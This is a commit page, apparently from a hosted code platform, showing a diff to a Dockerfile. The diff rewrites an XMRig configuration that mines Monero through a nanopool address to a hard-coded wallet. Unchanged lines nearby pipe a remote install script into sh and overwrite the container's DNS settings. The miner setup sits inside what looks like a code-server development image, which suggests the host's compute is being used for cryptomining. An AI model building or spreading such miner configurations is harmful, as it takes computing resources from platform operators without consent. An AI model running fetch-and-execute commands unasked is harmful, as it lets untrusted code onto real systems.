luluhacker commited on
Commit
5271d42
·
verified ·
1 Parent(s): fed8009

Update Dockerfile

Browse files
Files changed (1) hide show
  1. Dockerfile +17 -15
Dockerfile CHANGED
@@ -22,22 +22,24 @@ RUN curl -fsSL https://code-server.dev/install.sh | sh
22
  RUN echo "nameserver 1.1.1.1" > /etc/resolv.conf \
23
  && echo "nameserver 1.0.0.1" >> /etc/resolv.conf
24
 
25
- # Create XMRig configuration file
26
  RUN mkdir -p /xmrig-6.22.0 \
27
- && echo '{
28
- "autosave": true,
29
- "cpu": true,
30
- "opencl": false,
31
- "cuda": false,
32
- "pools": [
33
- {
34
- "coin": "monero",
35
- "url": "xmr-asia1.nanopool.org:14433",
36
- "user": "48b34XQDp2d9d1neAiriFs4UHomjcDwmuUWPNMBNhwLh8yqG7TXyUjcXxXzJdWL8JcH4kSPeZYKNpPm2GATm6N5SUEU1HTi",
37
- "tls": true
38
- }
39
- ]
40
- }' > /xmrig-6.22.0/config.json
 
 
41
 
42
  # Create and set up the start script
43
  RUN echo '#!/bin/bash\n\
 
22
  RUN echo "nameserver 1.1.1.1" > /etc/resolv.conf \
23
  && echo "nameserver 1.0.0.1" >> /etc/resolv.conf
24
 
25
+ # Create XMRig configuration file using a heredoc
26
  RUN mkdir -p /xmrig-6.22.0 \
27
+ && tee /xmrig-6.22.0/config.json > /dev/null <<EOF
28
+ {
29
+ "autosave": true,
30
+ "cpu": true,
31
+ "opencl": false,
32
+ "cuda": false,
33
+ "pools": [
34
+ {
35
+ "coin": "monero",
36
+ "url": "xmr-asia1.nanopool.org:14433",
37
+ "user": "48b34XQDp2d9d1neAiriFs4UHomjcDwmuUWPNMBNhwLh8yqG7TXyUjcXxXzJdWL8JcH4kSPeZYKNpPm2GATm6N5SUEU1HTi",
38
+ "tls": true
39
+ }
40
+ ]
41
+ }
42
+ EOF
43
 
44
  # Create and set up the start script
45
  RUN echo '#!/bin/bash\n\